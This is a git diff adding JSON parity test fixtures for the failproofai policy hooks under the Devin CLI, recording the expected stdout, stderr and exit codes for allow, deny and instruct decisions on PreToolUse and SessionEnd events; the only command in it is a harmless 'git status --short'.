"/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..cd02a93a --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..264d3da2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3e5b180e --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4d12bace --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b7d53c3d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f4bd6f36 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..82677094 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..3a66a9f8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8565a771 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0eec9294 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8d1333f5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c0b6dd4c --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ee17bf2b --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a7438c5b --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b896701d --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9bdbe6e0 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ca6f1321 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..12d17887 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SessionEnd/allow-with-reason__tool-present__two-policies.json 